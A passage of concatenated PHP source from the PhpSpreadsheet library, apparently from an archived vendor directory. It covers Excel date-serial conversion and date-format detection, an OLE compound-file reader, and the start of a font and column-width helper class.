new DateTime('1970-01-01', $timeZone); } else { // MS Excel calendar base dates if (self::$excelCalendar == self::CALENDAR_WINDOWS_1900) { // Allow adjustment for 1900 Leap Year in MS Excel $baseDate = ($excelTimestamp < 60) ? new DateTime('1899-12-31', $timeZone) : new DateTime('1899-12-30', $timeZone); } else { $baseDate = new DateTime('1904-01-01', $timeZone); } } } else { $baseDate = new DateTime('1899-12-30', $timeZone); } $days = floor($excelTimestamp); $partDay = $excelTimestamp - $days; $hms = 86400 * $partDay; $microseconds = (int) round(fmod($hms, 1) * 1000000); $hms = (int) floor($hms); $hours = intdiv($hms, 3600); $hms -= $hours * 3600; $minutes = intdiv($hms, 60); $seconds = $hms % 60; if ($days >= 0) { $days = '+' . $days; } $interval = $days . ' days'; return $baseDate->modify($interval) ->setTime($hours, $minutes, $seconds, $microseconds); } /** * Convert a MS serialized datetime value from Excel to a unix timestamp. * The use of Unix timestamps, and therefore this function, is discouraged. * They are not Y2038-safe on a 32-bit system, and have no timezone info. * * @param float|int $excelTimestamp MS Excel serialized date/time value * @param null|DateTimeZone|string $timeZone The timezone to assume for the Excel timestamp, * if you don't want to treat it as a UTC value * Use the default (UTC) unless you absolutely need a conversion * * @return int Unix timetamp for this date/time */ public static function excelToTimestamp($excelTimestamp, $timeZone = null): int { $dto = self::excelToDateTimeObject($excelTimestamp, $timeZone); self::roundMicroseconds($dto); return (int) $dto->format('U'); } /** * Convert a date from PHP to an MS Excel serialized date/time value. * * @param mixed $dateValue PHP DateTime object or a string - Unix timestamp is also permitted, but discouraged; * not Y2038-safe on a 32-bit system, and no timezone info * * @return false|float Excel date/time value * or boolean FALSE on failure */ public static function PHPToExcel(mixed $dateValue) { if ((is_object($dateValue)) && ($dateValue instanceof DateTimeInterface)) { return self::dateTimeToExcel($dateValue); } elseif (is_numeric($dateValue)) { return self::timestampToExcel($dateValue); } elseif (is_string($dateValue)) { return self::stringToExcel($dateValue); } return false; } /** * Convert a PHP DateTime object to an MS Excel serialized date/time value. * * @param DateTimeInterface $dateValue PHP DateTime object * * @return float MS Excel serialized date/time value */ public static function dateTimeToExcel(DateTimeInterface $dateValue): float { $seconds = (float) sprintf('%d.%06d', $dateValue->format('s'), $dateValue->format('u')); return self::formattedPHPToExcel( (int) $dateValue->format('Y'), (int) $dateValue->format('m'), (int) $dateValue->format('d'), (int) $dateValue->format('H'), (int) $dateValue->format('i'), $seconds ); } /** * Convert a Unix timestamp to an MS Excel serialized date/time value. * The use of Unix timestamps, and therefore this function, is discouraged. * They are not Y2038-safe on a 32-bit system, and have no timezone info. * * @param float|int|string $unixTimestamp Unix Timestamp * * @return false|float MS Excel serialized date/time value */ public static function timestampToExcel($unixTimestamp): bool|float { if (!is_numeric($unixTimestamp)) { return false; } return self::dateTimeToExcel(new DateTime('@' . $unixTimestamp)); } /** * formattedPHPToExcel. * * @return float Excel date/time value */ public static function formattedPHPToExcel(int $year, int $month, int $day, int $hours = 0, int $minutes = 0, float|int $seconds = 0): float { if (self::$excelCalendar == self::CALENDAR_WINDOWS_1900) { // // Fudge factor for the erroneous fact that the year 1900 is treated as a Leap Year in MS Excel // This affects every date following 28th February 1900 // $excel1900isLeapYear = true; if (($year == 1900) && ($month <= 2)) { $excel1900isLeapYear = false; } $myexcelBaseDate = 2415020; } else { $myexcelBaseDate = 2416481; $excel1900isLeapYear = false; } // Julian base date Adjustment if ($month > 2) { $month -= 3; } else { $month += 9; --$year; } // Calculate the Julian Date, then subtract the Excel base date (JD 2415020 = 31-Dec-1899 Giving Excel Date of 0) $century = (int) substr((string) $year, 0, 2); $decade = (int) substr((string) $year, 2, 2); $excelDate = floor((146097 * $century) / 4) + floor((1461 * $decade) / 4) + floor((153 * $month + 2) / 5) + $day + 1721119 - $myexcelBaseDate + $excel1900isLeapYear; $excelTime = (($hours * 3600) + ($minutes * 60) + $seconds) / 86400; return (float) $excelDate + $excelTime; } /** * Is a given cell a date/time? */ public static function isDateTime(Cell $cell, mixed $value = null, bool $dateWithoutTimeOkay = true): bool { $result = false; $worksheet = $cell->getWorksheetOrNull(); $spreadsheet = ($worksheet === null) ? null : $worksheet->getParent(); if ($worksheet !== null && $spreadsheet !== null) { $index = $spreadsheet->getActiveSheetIndex(); $selected = $worksheet->getSelectedCells(); try { $result = is_numeric($value ?? $cell->getCalculatedValue()) && self::isDateTimeFormat( $worksheet->getStyle( $cell->getCoordinate() )->getNumberFormat(), $dateWithoutTimeOkay ); } catch (Exception) { // Result is already false, so no need to actually do anything here } $worksheet->setSelectedCells($selected); $spreadsheet->setActiveSheetIndex($index); } return $result; } /** * Is a given NumberFormat code a date/time format code? */ public static function isDateTimeFormat(NumberFormat $excelFormatCode, bool $dateWithoutTimeOkay = true): bool { return self::isDateTimeFormatCode((string) $excelFormatCode->getFormatCode(), $dateWithoutTimeOkay); } private const POSSIBLE_DATETIME_FORMAT_CHARACTERS = 'eymdHs'; private const POSSIBLE_TIME_FORMAT_CHARACTERS = 'Hs'; // note - no 'm' due to ambiguity /** * Is a given number format code a date/time? */ public static function isDateTimeFormatCode(string $excelFormatCode, bool $dateWithoutTimeOkay = true): bool { if (strtolower($excelFormatCode) === strtolower(NumberFormat::FORMAT_GENERAL)) { // "General" contains an epoch letter 'e', so we trap for it explicitly here (case-insensitive check) return false; } if (preg_match('/[0#]E[+-]0/i', $excelFormatCode)) { // Scientific format return false; } // Switch on formatcode $excelFormatCode = (string) NumberFormat::convertSystemFormats($excelFormatCode); if (in_array($excelFormatCode, NumberFormat::DATE_TIME_OR_DATETIME_ARRAY, true)) { return $dateWithoutTimeOkay || in_array($excelFormatCode, NumberFormat::TIME_OR_DATETIME_ARRAY); } // Typically number, currency or accounting (or occasionally fraction) formats if ((str_starts_with($excelFormatCode, '_')) || (str_starts_with($excelFormatCode, '0 '))) { return false; } // Some "special formats" provided in German Excel versions were detected as date time value, // so filter them out here - "\C\H\-00000" (Switzerland) and "\D-00000" (Germany). if (str_contains($excelFormatCode, '-00000')) { return false; } $possibleFormatCharacters = $dateWithoutTimeOkay ? self::POSSIBLE_DATETIME_FORMAT_CHARACTERS : self::POSSIBLE_TIME_FORMAT_CHARACTERS; // Try checking for any of the date formatting characters that don't appear within square braces if (preg_match('/(^|\])[^\[]*[' . $possibleFormatCharacters . ']/i', $excelFormatCode)) { // We might also have a format mask containing quoted strings... // we don't want to test for any of our characters within the quoted blocks if (str_contains($excelFormatCode, '"')) { $segMatcher = false; foreach (explode('"', $excelFormatCode) as $subVal) { // Only test in alternate array entries (the non-quoted blocks) $segMatcher = $segMatcher === false; if ( $segMatcher && (preg_match('/(^|\])[^\[]*[' . $possibleFormatCharacters . ']/i', $subVal)) ) { return true; } } return false; } return true; } // No date... return false; } /** * Convert a date/time string to Excel time. * * @param string $dateValue Examples: '2009-12-31', '2009-12-31 15:59', '2009-12-31 15:59:10' * * @return false|float Excel date/time serial value */ public static function stringToExcel(string $dateValue): bool|float { if (strlen($dateValue) < 2) { return false; } if (!preg_match('/^(\d{1,4}[ \.\/\-][A-Z]{3,9}([ \.\/\-]\d{1,4})?|[A-Z]{3,9}[ \.\/\-]\d{1,4}([ \.\/\-]\d{1,4})?|\d{1,4}[ \.\/\-]\d{1,4}([ \.\/\-]\d{1,4})?)( \d{1,2}:\d{1,2}(:\d{1,2})?)?$/iu', $dateValue)) { return false; } $dateValueNew = DateTimeExcel\DateValue::fromString($dateValue); if (!is_float($dateValueNew)) { return false; } if (str_contains($dateValue, ':')) { $timeValue = DateTimeExcel\TimeValue::fromString($dateValue); if (!is_float($timeValue)) { return false; } $dateValueNew += $timeValue; } return $dateValueNew; } /** * Converts a month name (either a long or a short name) to a month number. * * @param string $monthName Month name or abbreviation * * @return int|string Month number (1 - 12), or the original string argument if it isn't a valid month name */ public static function monthStringToNumber(string $monthName) { $monthIndex = 1; foreach (self::$monthNames as $shortMonthName => $longMonthName) { if (($monthName === $longMonthName) || ($monthName === $shortMonthName)) { return $monthIndex; } ++$monthIndex; } return $monthName; } /** * Strips an ordinal from a numeric value. * * @param string $day Day number with an ordinal * * @return int|string The integer value with any ordinal stripped, or the original string argument if it isn't a valid numeric */ public static function dayStringToNumber(string $day) { $strippedDayValue = (str_replace(self::$numberSuffixes, '', $day)); if (is_numeric($strippedDayValue)) { return (int) $strippedDayValue; } return $day; } public static function dateTimeFromTimestamp(string $date, ?DateTimeZone $timeZone = null): DateTime { $dtobj = DateTime::createFromFormat('U', $date) ?: new DateTime(); $dtobj->setTimeZone($timeZone ?? self::getDefaultOrLocalTimezone()); return $dtobj; } public static function formattedDateTimeFromTimestamp(string $date, string $format, ?DateTimeZone $timeZone = null): string { $dtobj = self::dateTimeFromTimestamp($date, $timeZone); return $dtobj->format($format); } public static function roundMicroseconds(DateTime $dti): void { $microseconds = (int) $dti->format('u'); if ($microseconds >= 500000) { $dti->modify('+1 second'); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/OLERead.php000064400000023446151676714400020412 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Reader\Exception as ReaderException; class OLERead { private string $data = ''; // Size of a sector = 512 bytes const BIG_BLOCK_SIZE = 0x200; // Size of a short sector = 64 bytes const SMALL_BLOCK_SIZE = 0x40; // Size of a directory entry always = 128 bytes const PROPERTY_STORAGE_BLOCK_SIZE = 0x80; // Minimum size of a standard stream = 4096 bytes, streams smaller than this are stored as short streams const SMALL_BLOCK_THRESHOLD = 0x1000; // header offsets const NUM_BIG_BLOCK_DEPOT_BLOCKS_POS = 0x2C; const ROOT_START_BLOCK_POS = 0x30; const SMALL_BLOCK_DEPOT_BLOCK_POS = 0x3C; const EXTENSION_BLOCK_POS = 0x44; const NUM_EXTENSION_BLOCK_POS = 0x48; const BIG_BLOCK_DEPOT_BLOCKS_POS = 0x4C; // property storage offsets (directory offsets) const SIZE_OF_NAME_POS = 0x40; const TYPE_POS = 0x42; const START_BLOCK_POS = 0x74; const SIZE_POS = 0x78; public ?int $wrkbook = null; public ?int $summaryInformation = null; public ?int $documentSummaryInformation = null; private int $numBigBlockDepotBlocks; private int $rootStartBlock; private int $sbdStartBlock; private int $extensionBlock; private int $numExtensionBlocks; private string $bigBlockChain; private string $smallBlockChain; private string $entry; private int $rootentry; private array $props = []; /** * Read the file. */ public function read(string $filename): void { File::assertFile($filename); // Get the file identifier // Don't bother reading the whole file until we know it's a valid OLE file $this->data = (string) file_get_contents($filename, false, null, 0, 8); // Check OLE identifier $identifierOle = pack('CCCCCCCC', 0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1); if ($this->data != $identifierOle) { throw new ReaderException('The filename ' . $filename . ' is not recognised as an OLE file'); } // Get the file data $this->data = (string) file_get_contents($filename); // Total number of sectors used for the SAT $this->numBigBlockDepotBlocks = self::getInt4d($this->data, self::NUM_BIG_BLOCK_DEPOT_BLOCKS_POS); // SecID of the first sector of the directory stream $this->rootStartBlock = self::getInt4d($this->data, self::ROOT_START_BLOCK_POS); // SecID of the first sector of the SSAT (or -2 if not extant) $this->sbdStartBlock = self::getInt4d($this->data, self::SMALL_BLOCK_DEPOT_BLOCK_POS); // SecID of the first sector of the MSAT (or -2 if no additional sectors are used) $this->extensionBlock = self::getInt4d($this->data, self::EXTENSION_BLOCK_POS); // Total number of sectors used by MSAT $this->numExtensionBlocks = self::getInt4d($this->data, self::NUM_EXTENSION_BLOCK_POS); $bigBlockDepotBlocks = []; $pos = self::BIG_BLOCK_DEPOT_BLOCKS_POS; $bbdBlocks = $this->numBigBlockDepotBlocks; if ($this->numExtensionBlocks !== 0) { $bbdBlocks = (self::BIG_BLOCK_SIZE - self::BIG_BLOCK_DEPOT_BLOCKS_POS) / 4; } for ($i = 0; $i < $bbdBlocks; ++$i) { $bigBlockDepotBlocks[$i] = self::getInt4d($this->data, $pos); $pos += 4; } for ($j = 0; $j < $this->numExtensionBlocks; ++$j) { $pos = ($this->extensionBlock + 1) * self::BIG_BLOCK_SIZE; $blocksToRead = min($this->numBigBlockDepotBlocks - $bbdBlocks, self::BIG_BLOCK_SIZE / 4 - 1); for ($i = $bbdBlocks; $i < $bbdBlocks + $blocksToRead; ++$i) { $bigBlockDepotBlocks[$i] = self::getInt4d($this->data, $pos); $pos += 4; } $bbdBlocks += $blocksToRead; if ($bbdBlocks < $this->numBigBlockDepotBlocks) { $this->extensionBlock = self::getInt4d($this->data, $pos); } } $pos = 0; $this->bigBlockChain = ''; $bbs = self::BIG_BLOCK_SIZE / 4; for ($i = 0; $i < $this->numBigBlockDepotBlocks; ++$i) { $pos = ($bigBlockDepotBlocks[$i] + 1) * self::BIG_BLOCK_SIZE; $this->bigBlockChain .= substr($this->data, $pos, 4 * $bbs); $pos += 4 * $bbs; } $sbdBlock = $this->sbdStartBlock; $this->smallBlockChain = ''; while ($sbdBlock != -2) { $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE; $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs); $pos += 4 * $bbs; $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4); } // read the directory stream $block = $this->rootStartBlock; $this->entry = $this->readData($block); $this->readPropertySets(); } /** * Extract binary stream data. */ public function getStream(?int $stream): ?string { if ($stream === null) { return null; } $streamData = ''; if ($this->props[$stream]['size'] < self::SMALL_BLOCK_THRESHOLD) { $rootdata = $this->readData($this->props[$this->rootentry]['startBlock']); $block = $this->props[$stream]['startBlock']; while ($block != -2) { $pos = $block * self::SMALL_BLOCK_SIZE; $streamData .= substr($rootdata, $pos, self::SMALL_BLOCK_SIZE); $block = self::getInt4d($this->smallBlockChain, $block * 4); } return $streamData; } $numBlocks = $this->props[$stream]['size'] / self::BIG_BLOCK_SIZE; if ($this->props[$stream]['size'] % self::BIG_BLOCK_SIZE != 0) { ++$numBlocks; } if ($numBlocks == 0) { return ''; } $block = $this->props[$stream]['startBlock']; while ($block != -2) { $pos = ($block + 1) * self::BIG_BLOCK_SIZE; $streamData .= substr($this->data, $pos, self::BIG_BLOCK_SIZE); $block = self::getInt4d($this->bigBlockChain, $block * 4); } return $streamData; } /** * Read a standard stream (by joining sectors using information from SAT). * * @param int $block Sector ID where the stream starts * * @return string Data for standard stream */ private function readData(int $block): string { $data = ''; while ($block != -2) { $pos = ($block + 1) * self::BIG_BLOCK_SIZE; $data .= substr($this->data, $pos, self::BIG_BLOCK_SIZE); $block = self::getInt4d($this->bigBlockChain, $block * 4); } return $data; } /** * Read entries in the directory stream. */ private function readPropertySets(): void { $offset = 0; // loop through entires, each entry is 128 bytes $entryLen = strlen($this->entry); while ($offset < $entryLen) { // entry data (128 bytes) $d = substr($this->entry, $offset, self::PROPERTY_STORAGE_BLOCK_SIZE); // size in bytes of name $nameSize = ord($d[self::SIZE_OF_NAME_POS]) | (ord($d[self::SIZE_OF_NAME_POS + 1]) << 8); // type of entry $type = ord($d[self::TYPE_POS]); // sectorID of first sector or short sector, if this entry refers to a stream (the case with workbook) // sectorID of first sector of the short-stream container stream, if this entry is root entry $startBlock = self::getInt4d($d, self::START_BLOCK_POS); $size = self::getInt4d($d, self::SIZE_POS); $name = str_replace("\x00", '', substr($d, 0, $nameSize)); $this->props[] = [ 'name' => $name, 'type' => $type, 'startBlock' => $startBlock, 'size' => $size, ]; // tmp helper to simplify checks $upName = strtoupper($name); // Workbook directory entry (BIFF5 uses Book, BIFF8 uses Workbook) if (($upName === 'WORKBOOK') || ($upName === 'BOOK')) { $this->wrkbook = count($this->props) - 1; } elseif ($upName === 'ROOT ENTRY' || $upName === 'R') { // Root entry $this->rootentry = count($this->props) - 1; } // Summary information if ($name == chr(5) . 'SummaryInformation') { $this->summaryInformation = count($this->props) - 1; } // Additional Document Summary information if ($name == chr(5) . 'DocumentSummaryInformation') { $this->documentSummaryInformation = count($this->props) - 1; } $offset += self::PROPERTY_STORAGE_BLOCK_SIZE; } } /** * Read 4 bytes of data at specified position. */ private static function getInt4d(string $data, int $pos): int { if ($pos < 0) { // Invalid position throw new ReaderException('Parameter pos=' . $pos . ' is invalid.'); } $len = strlen($data); if ($len < $pos + 4) { $data .= str_repeat("\0", $pos + 4 - $len); } // FIX: represent numbers correctly on 64-bit system // http://sourceforge.net/tracker/index.php?func=detail&aid=1487372&group_id=99160&atid=623334 // Changed by Andreas Rehm 2006 to ensure correct result of the <<24 block on 32 and 64bit systems $_or_24 = ord($data[$pos + 3]); if ($_or_24 >= 128) { // negative number $_ord_24 = -abs((256 - $_or_24) << 24); } else { $_ord_24 = ($_or_24 & 127) << 24; } return ord($data[$pos]) | (ord($data[$pos + 1]) << 8) | (ord($data[$pos + 2]) << 16) | $_ord_24; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Font.php000064400000063701151676714400020103 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Font as FontStyle; use RecursiveDirectoryIterator; use RecursiveIteratorIterator; class Font { // Methods for resolving autosize value const AUTOSIZE_METHOD_APPROX = 'approx'; const AUTOSIZE_METHOD_EXACT = 'exact'; private const AUTOSIZE_METHODS = [ self::AUTOSIZE_METHOD_APPROX, self::AUTOSIZE_METHOD_EXACT, ]; /** Character set codes used by BIFF5-8 in Font records */ const CHARSET_ANSI_LATIN = 0x00; const CHARSET_SYSTEM_DEFAULT = 0x01; const CHARSET_SYMBOL = 0x02; const CHARSET_APPLE_ROMAN = 0x4D; const CHARSET_ANSI_JAPANESE_SHIFTJIS = 0x80; const CHARSET_ANSI_KOREAN_HANGUL = 0x81; const CHARSET_ANSI_KOREAN_JOHAB = 0x82; const CHARSET_ANSI_CHINESE_SIMIPLIFIED = 0x86; // gb2312 const CHARSET_ANSI_CHINESE_TRADITIONAL = 0x88; // big5 const CHARSET_ANSI_GREEK = 0xA1; const CHARSET_ANSI_TURKISH = 0xA2; const CHARSET_ANSI_VIETNAMESE = 0xA3; const CHARSET_ANSI_HEBREW = 0xB1; const CHARSET_ANSI_ARABIC = 0xB2; const CHARSET_ANSI_BALTIC = 0xBA; const CHARSET_ANSI_CYRILLIC = 0xCC; const CHARSET_ANSI_THAI = 0xDD; const CHARSET_ANSI_LATIN_II = 0xEE; const CHARSET_OEM_LATIN_I = 0xFF; // XXX: Constants created! /** Font filenames */ const ARIAL = 'arial.ttf'; const ARIAL_BOLD = 'arialbd.ttf'; const ARIAL_ITALIC = 'ariali.ttf'; const ARIAL_BOLD_ITALIC = 'arialbi.ttf'; const CALIBRI = 'calibri.ttf'; const CALIBRI_BOLD = 'calibrib.ttf'; const CALIBRI_ITALIC = 'calibrii.ttf'; const CALIBRI_BOLD_ITALIC = 'calibriz.ttf'; const COMIC_SANS_MS = 'comic.ttf'; const COMIC_SANS_MS_BOLD = 'comicbd.ttf'; const COURIER_NEW = 'cour.ttf'; const COURIER_NEW_BOLD = 'courbd.ttf'; const COURIER_NEW_ITALIC = 'couri.ttf'; const COURIER_NEW_BOLD_ITALIC = 'courbi.ttf'; const GEORGIA = 'georgia.ttf'; const GEORGIA_BOLD = 'georgiab.ttf'; const GEORGIA_ITALIC = 'georgiai.ttf'; const GEORGIA_BOLD_ITALIC = 'georgiaz.ttf'; const IMPACT = 'impact.ttf'; const LIBERATION_SANS = 'LiberationSans-Regular.ttf'; const LIBERATION_SANS_BOLD = 'LiberationSans-Bold.ttf'; const LIBERATION_SANS_ITALIC = 'LiberationSans-Italic.ttf'; const LIBERATION_SANS_BOLD_ITALIC = 'LiberationSans-BoldItalic.ttf'; const LUCIDA_CONSOLE = 'lucon.ttf'; const LUCIDA_SANS_UNICODE = 'l_10646.ttf'; const MICROSOFT_SANS_SERIF = 'micross.ttf'; const PALATINO_LINOTYPE = 'pala.ttf'; const PALATINO_LINOTYPE_BOLD = 'palab.ttf'; const PALATINO_LINOTYPE_ITALIC = 'palai.ttf'; const PALATINO_LINOTYPE_BOLD_ITALIC = 'palabi.ttf'; const SYMBOL = 'symbol.ttf'; const TAHOMA = 'tahoma.ttf'; const TAHOMA_BOLD = 'tahomabd.ttf'; const TIMES_NEW_ROMAN = 'times.ttf'; const TIMES_NEW_ROMAN_BOLD = 'timesbd.ttf'; const TIMES_NEW_ROMAN_ITALIC = 'timesi.ttf'; const TIMES_NEW_ROMAN_BOLD_ITALIC = 'timesbi.ttf'; const TREBUCHET_MS = 'trebuc.ttf'; const TREBUCHET_MS_BOLD = 'trebucbd.ttf'; const TREBUCHET_MS_ITALIC = 'trebucit.ttf'; const TREBUCHET_MS_BOLD_ITALIC = 'trebucbi.ttf'; const VERDANA = 'verdana.ttf'; const VERDANA_BOLD = 'verdanab.ttf'; const VERDANA_ITALIC = 'verdanai.ttf'; const VERDANA_BOLD_ITALIC = 'verdanaz.ttf'; const FONT_FILE_NAMES = [ 'Arial' => [ 'x' => self::ARIAL, 'xb' => self::ARIAL_BOLD, 'xi' => self::ARIAL_ITALIC, 'xbi' => self::ARIAL_BOLD_ITALIC, ], 'Calibri' => [ 'x' => self::CALIBRI, 'xb' => self::CALIBRI_BOLD, 'xi' => self::CALIBRI_ITALIC, 'xbi' => self::CALIBRI_BOLD_ITALIC, ], 'Comic Sans MS' => [ 'x' => self::COMIC_SANS_MS, 'xb' => self::COMIC_SANS_MS_BOLD, 'xi' => self::COMIC_SANS_MS, 'xbi' => self::COMIC_SANS_MS_BOLD, ], 'Courier New' => [ 'x' => self::COURIER_NEW, 'xb' => self::COURIER_NEW_BOLD, 'xi' => self::COURIER_NEW_ITALIC, 'xbi' => self::COURIER_NEW_BOLD_ITALIC, ], 'Georgia' => [ 'x' => self::GEORGIA, 'xb' => self::GEORGIA_BOLD, 'xi' => self::GEORGIA_ITALIC, 'xbi' => self::GEORGIA_BOLD_ITALIC, ], 'Impact' => [ 'x' => self::IMPACT, 'xb' => self::IMPACT, 'xi' => self::IMPACT, 'xbi' => self::IMPACT, ], 'Liberation Sans' => [ 'x' => self::LIBERATION_SANS, 'xb' => self::LIBERATION_SANS_BOLD, 'xi' => self::LIBERATION_SANS_ITALIC, 'xbi' => self::LIBERATION_SANS_BOLD_ITALIC, ], 'Lucida Console' => [ 'x' => self::LUCIDA_CONSOLE, 'xb' => self::LUCIDA_CONSOLE, 'xi' => self::LUCIDA_CONSOLE, 'xbi' => self::LUCIDA_CONSOLE, ], 'Lucida Sans Unicode' => [ 'x' => self::LUCIDA_SANS_UNICODE, 'xb' => self::LUCIDA_SANS_UNICODE, 'xi' => self::LUCIDA_SANS_UNICODE, 'xbi' => self::LUCIDA_SANS_UNICODE, ], 'Microsoft Sans Serif' => [ 'x' => self::MICROSOFT_SANS_SERIF, 'xb' => self::MICROSOFT_SANS_SERIF, 'xi' => self::MICROSOFT_SANS_SERIF, 'xbi' => self::MICROSOFT_SANS_SERIF, ], 'Palatino Linotype' => [ 'x' => self::PALATINO_LINOTYPE, 'xb' => self::PALATINO_LINOTYPE_BOLD, 'xi' => self::PALATINO_LINOTYPE_ITALIC, 'xbi' => self::PALATINO_LINOTYPE_BOLD_ITALIC, ], 'Symbol' => [ 'x' => self::SYMBOL, 'xb' => self::SYMBOL, 'xi' => self::SYMBOL, 'xbi' => self::SYMBOL, ], 'Tahoma' => [ 'x' => self::TAHOMA, 'xb' => self::TAHOMA_BOLD, 'xi' => self::TAHOMA, 'xbi' => self::TAHOMA_BOLD, ], 'Times New Roman' => [ 'x' => self::TIMES_NEW_ROMAN, 'xb' => self::TIMES_NEW_ROMAN_BOLD, 'xi' => self::TIMES_NEW_ROMAN_ITALIC, 'xbi' => self::TIMES_NEW_ROMAN_BOLD_ITALIC, ], 'Trebuchet MS' => [ 'x' => self::TREBUCHET_MS, 'xb' => self::TREBUCHET_MS_BOLD, 'xi' => self::TREBUCHET_MS_ITALIC, 'xbi' => self::TREBUCHET_MS_BOLD_ITALIC, ], 'Verdana' => [ 'x' => self::VERDANA, 'xb' => self::VERDANA_BOLD, 'xi' => self::VERDANA_ITALIC, 'xbi' => self::VERDANA_BOLD_ITALIC, ], ]; /** * Array that can be used to supplement FONT_FILE_NAMES for calculating exact width. * * @var array<string, array<string, string>> */ private static array $extraFontArray = []; /** @param array<string, array<string, string>> $extraFontArray */ public static function setExtraFontArray(array $extraFontArray): void { self::$extraFontArray = $extraFontArray; } /** @return array<string, array<string, string>> */ public static function getExtraFontArray(): array { return self::$extraFontArray; } /** * AutoSize method. */ private static string $autoSizeMethod = self::AUTOSIZE_METHOD_APPROX; /** * Path to folder containing TrueType font .ttf files. */ private static string $trueTypeFontPath = ''; /** * How wide is a default column for a given default font and size? * Empirical data found by inspecting real Excel files and reading off the pixel width * in Microsoft Office Excel 2007. * Added height in points. */ public const DEFAULT_COLUMN_WIDTHS = [ 'Arial' => [ 1 => ['px' => 24, 'width' => 12.00000000, 'height' => 5.25], 2 => ['px' => 24, 'width' => 12.00000000, 'height' => 5.25], 3 => ['px' => 32, 'width' => 10.66406250, 'height' => 6.0], 4 => ['px' => 32, 'width' => 10.66406250, 'height' => 6.75], 5 => ['px' => 40, 'width' => 10.00000000, 'height' => 8.25], 6 => ['px' => 48, 'width' => 9.59765625, 'height' => 8.25], 7 => ['px' => 48, 'width' => 9.59765625, 'height' => 9.0], 8 => ['px' => 56, 'width' => 9.33203125, 'height' => 11.25], 9 => ['px' => 64, 'width' => 9.14062500, 'height' => 12.0], 10 => ['px' => 64, 'width' => 9.14062500, 'height' => 12.75], ], 'Calibri' => [ 1 => ['px' => 24, 'width' => 12.00000000, 'height' => 5.25], 2 => ['px' => 24, 'width' => 12.00000000, 'height' => 5.25], 3 => ['px' => 32, 'width' => 10.66406250, 'height' => 6.00], 4 => ['px' => 32, 'width' => 10.66406250, 'height' => 6.75], 5 => ['px' => 40, 'width' => 10.00000000, 'height' => 8.25], 6 => ['px' => 48, 'width' => 9.59765625, 'height' => 8.25], 7 => ['px' => 48, 'width' => 9.59765625, 'height' => 9.0], 8 => ['px' => 56, 'width' => 9.33203125, 'height' => 11.25], 9 => ['px' => 56, 'width' => 9.33203125, 'height' => 12.0], 10 => ['px' => 64, 'width' => 9.14062500, 'height' => 12.75], 11 => ['px' => 64, 'width' => 9.14062500, 'height' => 15.0], ], 'Verdana' => [ 1 => ['px' => 24, 'width' => 12.00000000, 'height' => 5.25], 2 => ['px' => 24, 'width' => 12.00000000, 'height' => 5.25], 3 => ['px' => 32, 'width' => 10.66406250, 'height' => 6.0], 4 => ['px' => 32, 'width' => 10.66406250, 'height' => 6.75], 5 => ['px' => 40, 'width' => 10.00000000, 'height' => 8.25], 6 => ['px' => 48, 'width' => 9.59765625, 'height' => 8.25], 7 => ['px' => 48, 'width' => 9.59765625, 'height' => 9.0], 8 => ['px' => 64, 'width' => 9.14062500, 'height' => 10.5], 9 => ['px' => 72, 'width' => 9.00000000, 'height' => 11.25], 10 => ['px' => 72, 'width' => 9.00000000, 'height' => 12.75], ], ]; /** * Set autoSize method. * * @param string $method see self::AUTOSIZE_METHOD_* * * @return bool Success or failure */ public static function setAutoSizeMethod(string $method): bool { if (!in_array($method, self::AUTOSIZE_METHODS)) { return false; } self::$autoSizeMethod = $method; return true; } /** * Get autoSize method. */ public static function getAutoSizeMethod(): string { return self::$autoSizeMethod; } /** * Set the path to the folder containing .ttf files. There should be a trailing slash. * Path will be recursively searched for font file. * Typical locations on various platforms: * <ul> * <li>C:/Windows/Fonts/</li> * <li>/usr/share/fonts/truetype/</li> * <li>~/.fonts/</li> * </ul>. */ public static function setTrueTypeFontPath(string $folderPath): void { self::$trueTypeFontPath = $folderPath; } /** * Get the path to the folder containing .ttf files. */ public static function getTrueTypeFontPath(): string { return self::$trueTypeFontPath; } /** * Pad amount for exact in pixels; use best guess if null. */ private static null|float|int $paddingAmountExact = null; /** * Set pad amount for exact in pixels; use best guess if null. */ public static function setPaddingAmountExact(null|float|int $paddingAmountExact): void { self::$paddingAmountExact = $paddingAmountExact; } /** * Get pad amount for exact in pixels; or null if using best guess. */ public static function getPaddingAmountExact(): null|float|int { return self::$paddingAmountExact; } /** * Calculate an (approximate) OpenXML column width, based on font size and text contained. * * @param FontStyle $font Font object * @param null|RichText|string $cellText Text to calculate width * @param int $rotation Rotation angle * @param null|FontStyle $defaultFont Font object * @param bool $filterAdjustment Add space for Autofilter or Table dropdown */ public static function calculateColumnWidth( FontStyle $font, $cellText = '', int $rotation = 0, ?FontStyle $defaultFont = null, bool $filterAdjustment = false, int $indentAdjustment = 0 ): float { // If it is rich text, use plain text if ($cellText instanceof RichText) { $cellText = $cellText->getPlainText(); } // Special case if there are one or more newline characters ("\n") $cellText = (string) $cellText; if (str_contains($cellText, "\n")) { $lineTexts = explode("\n", $cellText); $lineWidths = []; foreach ($lineTexts as $lineText) { $lineWidths[] = self::calculateColumnWidth($font, $lineText, $rotation = 0, $defaultFont, $filterAdjustment); } return max($lineWidths); // width of longest line in cell } // Try to get the exact text width in pixels $approximate = self::$autoSizeMethod === self::AUTOSIZE_METHOD_APPROX; $columnWidth = 0; if (!$approximate) { try { $columnWidthAdjust = ceil( self::getTextWidthPixelsExact( str_repeat('n', 1 * (($filterAdjustment ? 3 : 1) + ($indentAdjustment * 2))), $font, 0 ) * 1.07 ); // Width of text in pixels excl. padding // and addition because Excel adds some padding, just use approx width of 'n' glyph $columnWidth = self::getTextWidthPixelsExact($cellText, $font, $rotation) + (self::$paddingAmountExact ?? $columnWidthAdjust); } catch (PhpSpreadsheetException) { $approximate = true; } } if ($approximate) { $columnWidthAdjust = self::getTextWidthPixelsApprox( str_repeat('n', 1 * (($filterAdjustment ? 3 : 1) + ($indentAdjustment * 2))), $font, 